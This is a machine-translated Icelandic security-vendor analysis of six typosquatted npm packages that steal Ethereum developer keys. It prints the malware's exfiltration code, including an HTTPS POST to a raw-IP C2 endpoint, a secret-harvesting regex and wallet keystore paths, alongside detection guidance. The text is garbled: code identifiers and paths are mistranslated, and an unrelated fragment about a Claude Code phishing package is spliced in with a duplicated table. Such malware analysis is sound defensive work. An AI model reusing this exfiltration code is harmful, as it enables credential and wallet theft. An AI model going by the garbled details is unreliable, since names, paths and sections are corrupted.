EVMDeFi npm Typosquatting árás stelur forritaralyklum

EVM/DeFi npm Typosquatting árás stelur forritaralyklum

TL; DR

Þann 6. maí 2026, einn npm útgefandi, namikazesarada010206, sendi frá sér sex illgjarn forritunarpakka sem miðuðu á vistkerfi Ethereum, Solidity og DeFi forritara.

Pakkarnir, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsog web3-utils-core, notaði trúverðug nöfn sem voru hönnuð til að líta út eins og hjálparbókasöfn fyrir vinsæl Web3 verkfæri.

Allir sex pakkarnir innihéldu það sama telemetry.js Skráin. Skráin var eins og bæti í öllum klasanum, með SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Spilliforritið keyrir ekki við uppsetningu. Það er ekkert til staðar. preinstall or postinstall krókur. Í staðinn virkjast hann þegar pakkinn er fluttur inn í gegnum require().

Þessi smáatriði skipta máli.

Ígræðslan bíður þar til forritari notar pakkann í raun. Þá athugar hún hvort vinnustöðin lítur út eins og raunverulegt Ethereum / Solidity þróunarumhverfi. Hún leitar að Alchemy eða Infura lyklum, einkalyklum, minnislyklum, dreifingarlyklum eða staðbundinni Foundry möppu.

Ef gestgjafinn passar, safnar þjófurinn SSH einkalyklum, lyklageymslum Foundry / Geth / Brownie veskis, .env* skrár og viðkvæmar umhverfisbreytur. Það dulkóðar pakkann með AES-256-GCM með því að nota harðkóðað lykilorð og fjarlægir hann á hráan IPv4 C2 endapunkt með TLS staðfestingu óvirkri.

Malware Early Warning (MEW) kerfi Xygeni staðfesti að öll sex pakkarnir væru illgjarnir. Skýrslupakkinn fyrir fjarlægingu npm-skrárinnar er í vinnslu.

Klasinn: Sex pakkar, einn útgefandi

Útgefandareikningurinn namikazesarada010206 var tengt við óstaðfesta Gmail netfangið namikazesarada010206@gmail.com.

Herferðin birtist sem eindagsútgáfa þann 6. maí 2026. Öll sex pakkarnir voru útgáfuðir sem 1.0.0, hafði engar keyrslutímatengdar skyldur og sendi aðeins þrjár skrár:

package.json index.js telemetry.js

Þeir lýstu einnig yfir sama upprunalega gagnagrunni:

https://github.com/harunosakura030303-maker/evmchain-config

Fyrstu þrír pakkarnir voru greindir af MEW skönnum við fyrstu útgáfu. Hinir þrír voru merktir með nauðungarmerki eftir að greiningaraðilar höfðu skoðað npm prófíl útgefandans. Þegar þeir voru með sama bæti og sama gildið telemetry.js var staðfest í öllum klasanum, voru þeir lokaðir sem illgjarnir vegna samræmis.

Pakki Útgáfa npm Gefið út MEW miði Úrskurður
viem-kjarna 1.0.0 2026-05-06 01:38:44Z # 51049 Illgjarn
viem-utils-core 1.0.0 2026-05-06 # 51050 Illgjarn
Hardhat-core-utils 1.0.0 2026-05-06 # 51051 Illgjarn
evm-hjálpartæki 1.0.0 2026-05-06 # 51069 Illgjarnt, af samkvæmni
steypufyrirtæki 1.0.0 2026-05-06 # 51071 Illgjarnt, af samkvæmni
web3-utils-core 1.0.0 2026-05-06 # 51070 Illgjarnt, af samkvæmni

Nafngiftaraðferðin er einföld en áhrifarík.

Þessir pakkar herma ekki eftir nákvæmum nöfnum uppstreymis. Í staðinn nota þeir sennileg „gagnsemi“ viðskeyti eins og -core, -utilsog -utils-coreÞað lætur þau líta út eins og fylgisöfn sem forritari gæti búist við að sjá nálægt Web3 verkfærum.

Illgjarn pakki Lögmætt skotmark
viem-kjarna viem, vinsæll Ethereum TypeScript viðskiptavinur
viem-utils-core viem
Hardhat-core-utils hardhat, almennt þróunarumhverfi fyrir Solidity
evm-hjálpartæki Almennt EVM verkfæranafnrými
steypufyrirtæki steypa, verkfærakeðja frá Solidity
web3-utils-core web3-hjálpartæki, Web3.js hjálpartæki

Þetta er mynstrið fyrir „viðbótarpakkann“: ekki „ég er hinn raunverulegi pakki“ heldur „ég lít út eins og skynsamlegur hjálparhella í kringum hinn raunverulega pakka“.

Fyrir DeFi forritara sem eru að hreyfa sig hratt er það nóg til að skapa áhættu.

Hvað gerist þegar pakkinn er fluttur inn

Árásarkeðjan er lítil, af ásettu ráði og einblínd á dulritunarþróunarumhverfi.

Það er enginn uppsetningarkrókur. Í staðinn inniheldur hver pakki index.js sem flytur út stub-virkni og hleður síðan inn skaðlega fjarmælingareiningu.

require('./telemetry').init();

Þetta þýðir að spilliforritið virkjast við fyrstu innflutning.

Þetta er gagnlegt fyrir árásarmanninn í rekstri. Margar skannar og sandkassar einblína á hegðun við uppsetningu. Þessi pakki bíður þangað til hann er í raun notaður af forritara, smíðaforskrift, prófunarsvítu eða keyrslutímaslóð.

Virkjunarhlið: Virkjum aðeins á raunverulegum Web3 verktaki vinnustöðvum

Mikilvægasti hluti ígræðslunnar er virkjunarhliðið.

Spilliforritið athugar umhverfisbreytur sem finnast almennt á Ethereum / Solidity forritaravélum:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Það athugar einnig hvort Foundry virðist vera uppsett:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Ef hvorugt skilyrðið er satt, skilar fallið gildinu og gerir ekkert.

Það gerir pakkann hljóðlátari í almennum greiningarumhverfum. Sandkassi án Foundry, Alchemy lykla, Infura lykla, einkalykla eða minnislykla gæti litið út fyrir að vera skaðlaus.

Á samsvarandi vél bíður spilliforritið í 60 til 90 sekúndur áður en það er safnað:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Seinkunin dregur úr augljósri fylgni milli innflutnings og útflutnings. .unref() `call` leyfir einnig hýsingarferlinu að hætta eðlilega ef pakkinn var fluttur inn í skammlífu forskrift.

Þetta er ekki hávær hegðun þar sem kóðinn er „smash and grab“. Þetta er markviss þjófnaður sem er hannaður til að forðast að keyra hann nema forritaraumhverfið sé þess virði að stela úr.

Það sem þjófurinn safnar

Þegar virkjunarhliðið er í gegnum ferlið safnast spilliforritið saman frá þeim aðilum sem skipta mestu máli í Web3 þróun: einkalyklum, lyklageymslum veskis, dreifingarupplýsingum, skýleyndarmálum, npm-táknum og staðbundinni verkefnastillingu.

Heimild Hvað er safnað
ferli.umhverfi Sérhver breyta sem passar við /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Skrár sem innihalda PRIVATE KEY eða BEGIN OPENSSH, þar á meðal allt innihald skráarinnar.
~/.foundry/lyklabúðir/* Lyklageymsluskrár fyrir Foundry veski
~/.ethereum/lykilgeymsla/* Lyklageymsluskrár fyrir Geth veski
~/.brownie/reikningar/* Lyklageymsluskrár fyrir Brownie veski
${cwd}/.umslag Allt innihald skráarinnar
${cwd}/.umg.local Allt innihald skráarinnar
${cwd}/.umhverfi.framleiðsla Allt innihald skráarinnar
${cwd}/.umhverfi.þróun Allt innihald skráarinnar
os.hostname() Lýsigögn hýsingaraðila
dulritunarkóði.handahófskenndurUUID() Auðkenni fórnarlambs/lotu
Dagsetning.núna() Tímastimpill söfnunar
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTA-táknin eru:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Við höfum ekki getað staðfest hvort fjarmælingarnar voru frá rekstraraðilanum sjálfum eða frá sérstakri tekjuöflunarrás. ATTA-táknin eru þau sömu í báðum sýnunum sem við skoðuðum.

Klasi B: heibai

claude.hk OAuth vefveiðar + ANTHROPIC_BASE_URL ræning

Úrtakið frá 1. apríl er grófari og fyrri hluti herferðarinnar.

heibai:2.1.88-claude.hk-4 var gefið út af wuguoqiangvip28, reikningur stofnaður 7. júní 2025. Pakkinn breytti útgáfu sinni sérstaklega gegn lögmætum kóða. 2.1.88 Mannleg losun.

Það truflar ekki CA-cert MITM. Þess í stað lýgur það að notandanum um OAuth endapunktinn.

Illgjarnar viðbætur ofan á lekaða Claude Code heimildarkóðann eru meðal annars:

Heimild Hvað er safnað
ferli.umhverfi Sérhver breyta sem passar við /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Skrár sem innihalda PRIVATE KEY eða BEGIN OPENSSH, þar á meðal allt innihald skráarinnar.
~/.foundry/lyklabúðir/* Lyklageymsluskrár fyrir Foundry veski
~/.ethereum/lykilgeymsla/* Lyklageymsluskrár fyrir Geth veski
~/.brownie/reikningar/* Lyklageymsluskrár fyrir Brownie veski
${cwd}/.umslag Allt innihald skráarinnar
${cwd}/.umg.local Allt innihald skráarinnar
${cwd}/.umhverfi.framleiðsla Allt innihald skráarinnar
${cwd}/.umhverfi.þróun Allt innihald skráarinnar
os.hostname() Lýsigögn hýsingaraðila
dulritunarkóði.handahófskenndurUUID() Auðkenni fórnarlambs/lotu
Dagsetning.núna() Tímastimpill söfnunar

Marklistinn er mjög sértækur. Þetta er ekki almennur vafraþjófnaður eða víðtæk auðkenningarþjófnaður. Hann er ætlaður forriturum sem smíða, prófa, dreifa eða reka Ethereum forrit.

Það er sérstaklega mikilvægt að hafa lykilgeymslur fyrir Foundry, Geth og Brownie. Þessar skrár geta táknað beinan aðgang að veskjum eða dreifingarauðkennum. Ef árásarmaðurinn getur parað þær við lykilorð, minnislykla eða leyndarmál umhverfisins, gæti hann hugsanlega fært fjármuni, hermt eftir dreifingaraðilum eða brotið á snjallsamningaaðgerðum.

Dulkóðun fyrir útsíun

Spilliforritið dulkóðar söfnuð gögn áður en þau eru send út.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Lykilorðið sem er innbyggt í harða kóðann er:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Lokaupphæðin er vafið inn sem JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Dulkóðun gerir ekki spilliforritið flóknara í sjálfu sér. Hins vegar gerir hún netskoðun erfiðari. Varnaraðili sem fylgist með útgangi myndi sjá JSON-gagnamagn en ekki stolnu lyklana, veskisskrárnar eða ... .env innihald án harðkóðaðs lykilorðs og afkóðunarrökfræði.

Útrás á hráan IPv4 C2

Útsíunarleiðin er harðkóðuð:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Spilliforritið sendir gögn til:

https://76.13.37.80:8443/api/v1/telemetry

Tvær smáatriði standa upp úr.

Í fyrsta lagi er C2 hrá IPv4-tala frekar en lén. Það fjarlægir þörfina fyrir lénsskráningu og kemur í veg fyrir sumar lénsbundnar greiningar.

Í öðru lagi er TLS staðfesting óvirk með:

rejectUnauthorized: false

Það gerir spilliforritinu kleift að samþykkja hvaða vottorð sem er, þar á meðal sjálfritað vottorð. Með öðrum orðum fær árásaraðilinn dulkóðaðan flutning án þess að þurfa gilt opinbert vottorð.

Það er engin rökfræði fyrir endurtekningu og enginn varahýsill. Villur eru gleyptar hljóðlega. Þetta heldur pakkanum kyrrum ef C2 er ótengdur eða ekki hægt að ná í hann.

Hvers vegna þessi herferð skiptir máli

Flest illgjarn npm pakkar sem miða að forriturum elta uppi víðtæk skilríki: npm tákn, AWS lykla, GitHub tákn eða .npmrc skrár.

Þessi herferð þrengir markhópinn.

Það leitar að merkjum um að vélin tilheyri Ethereum eða Solidity forritara. Síðan sækir það nákvæmlega þær eignir sem skipta máli í því umhverfi: lyklageymslur veskis, einkalykla, minnislykla, dreifingarlykla, .env skrár og SSH lykla.

Það gerir herferðina hættulegri fyrir Web3 teymi en almennan npm þjóf.

Vel heppnuð sýking gæti leitt í ljós:

  • Dreifingarveski
  • Stjórnunarlyklar snjallsamninga
  • RPC-veitulyklar
  • Skilríki fyrir skýjauppsetningu
  • npm útgáfutákn
  • SSH aðgangur að verktaki eða byggingarinnviði
  • Leyndarmál verkefnisins eru geymd í .env skrár
  • Veskislyklageymslur fyrir Foundry, Geth eða Brownie

Nöfn pakkanna sýna einnig greinilega félagslega verkfræði. Þau miða á vistkerfi Web3 forritara með kunnuglegum nöfnum verkfæra: viem, hardhat, foundry, evmog web3.

Aðilinn þarf ekki að gera málamiðlanir varðandi raunveruleg verkefni. Hann þarf aðeins forritara til að setja upp það sem lítur út fyrir að vera sanngjarn fylgipakka.

Vísbendingar um málamiðlanir og uppgötvun

Pakkar og útgefandi
Field gildi
npm útgefandi namikazesarada010206
Netfang útgefanda namikazesarada010206@gmail.com
tölvupóstur staðfestur Nr
SCM staðfest Nr
Mannorðseinkunn 1.0
Pakkar viem-kjarni, viem-utils-kjarni, hardhat-core-utils, evm-utils, steypa-utils, web3-utils-core
útgáfur Allt 1.0.0
Heimildasafn https://github.com/harunosakura030303-maker/evmchain-config
Staðfest að þetta sé illgjarnt Allir sex pakkarnir
Net
Gerð gildi
C2 endapunktur https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2 tengi 8443/tcp
TLS hegðun hafnaÓheimilt: ósatt
Álagsskema {"v":2,"iv": „d“: „t“: }
Skrár og hassar
Gerð gildi
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Útlit pakkans pakki.json, vísitala.js, fjarmælingar.js
Skráafjöldi 3
Áætluð heildarstærð 3.4 KB

Virkjunarmerki

Spilliforritið leitar að þessum umhverfisbreytum:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Það athugar einnig hvort:

~/.foundry/

Markvissar hýsingarslóðir

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Regex safns

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Athugasemdir um greiningu

Nokkrar reglur ná þessari herferð án þess að þörf sé á fullri hegðunargreiningu.

Fyrst skaltu skanna læsingarskrár fyrir sex illgjarn pakkanöfn:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Einhver samsvörun í package-lock.json, yarn.lock, pnpm-lock.yaml, eða node_modules Sagan ætti að líta á sem alvarlegt atvik.

Í öðru lagi, fylgstu með Node.js ferlum sem lesa lykilgeymsluslóðir veskisins:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Þetta er sjaldan lögmæt hegðun fyrir pakka sem er fluttur inn sem hjálpartengdur. Þetta er sérstaklega grunsamlegt þegar það fylgir útvirkni á netið.

Í þriðja lagi, lokaðu fyrir eða láttu vita af HTTPS tengingum við:

76.13.37.80:8443

Sérstaklega þegar beiðnislóðin er:

/api/v1/telemetry

Í fjórða lagi, leitaðu að npm-pökkum sem sameina þessa eiginleika:

  • Nýr eða lágt orðsporsútgefandi
  • Óstaðfestur Gmail reikningur
  • Nafn pakka sem liggur að Web3
  • Engin marktæk geymslusaga
  • Lítil pakkauppsetning
  • index.js sem hleður inn fjarmælingar- eða hjálparskrá
  • Engin keyrslutímaháðni
  • Safn viðkvæmra umhverfisbreyta
  • Aðgangur að lyklageymslu veskisins

Þetta mynstur er gagnlegra en eitt IOC því næsti pakki gæti breytt IP-tölu en haldið sömu markmiðsrökfræði.

Gátlisti fyrir viðbrögð við málamiðlun

Ef forritari notaði einn af sex pökkunum og umhverfi hans passaði við virkjunarhliðið, skal meðhöndla vinnustöðina sem í hættu.

Það felur í sér vélar með Foundry uppsettu, Alchemy eða Infura lykla í umhverfinu, einkalykla, minnislykla eða dreifingarlykla.

Ráðlagt svar:

  • Aftengdu hýsilinn frá netkerfinu.
  • Varðveita node_modules, læsingarskrár, skeljarsaga og viðeigandi skrár fyrir réttarrannsóknir.
  • Snúðu hverju SSH lyklakippar undir ~/.ssh/.
  • Snúðu veskislyklum fyrir hverja lyklageymslu undir ~/.foundry, ~/.ethereumog ~/.brownie.
  • Færa fé í nýjar veski.
  • Snúðu öllum leyndarmálum sem eru geymd í .env* skrár í geymslum sem forritarinn vann í.
  • Snúið umhverfisleyndarmálum sem passa við regex söfnunarinnar, þar á meðal AWS-lykla, npm-tákn, dreifingartákn, API-lykla, einkalykla, fræ og minnislykla.
  • Endurskoða virkni í skýinu, npm, GitHub, RPC-veitu og blockchain frá því að pakkinn var fyrst settur upp.
  • Endurnýjaðu myndvinnslustöðina áður en hún er notuð aftur.

Það sem varnarmenn ættu að taka með sér

Þessi herferð sýnir hvernig npm typosquatting er að þróast í kringum vistkerfi verðmætra forritara.

Leikarinn þurfti ekki þrautseigju. Hann þurfti ekki dulúð. Hann þurfti ekki einu sinni keyrslu á uppsetningartíma.

Í staðinn treystu þeir á þrennt:

  • Trúverðug Web3 pakkaheiti
  • Virkjun aðeins á raunverulegum dulritunarvélum
  • Bein þjófnaður á skrám og leyndarmálum sem skipta Ethereum forriturum mestu máli

Það gerir herferðina auðvelt að missa af í víðtækri skönnun og hættulega þegar hún lendir í réttu umhverfi.

Fyrir Web3 teymi er lærdómurinn skýr: meðhöndlið nöfn á ósjálfstæðum kerfum sem hluta af ógnarlíkaninu ykkar. Pakki sem lítur út eins og skaðlaus hjálparhella getur samt orðið stysta leiðin að veskisbrotum.

Tilkynnt til npm skrásetningarinnar. Við munum uppfæra þessa færslu þegar útgefandareikningurinn og pakkarnir hafa verið fjarlægðir.

sca-tools-hugbúnaður-samsetningargreiningartól
Forgangsraðaðu, lagfærðu og tryggðu hugbúnaðaráhættu þína
Fáðu þér ókeypis aðgang.
Ekkert kreditkort krafist.

Tryggðu hugbúnaðarþróun og afhendingu þína

með Xygeni vörupakkanum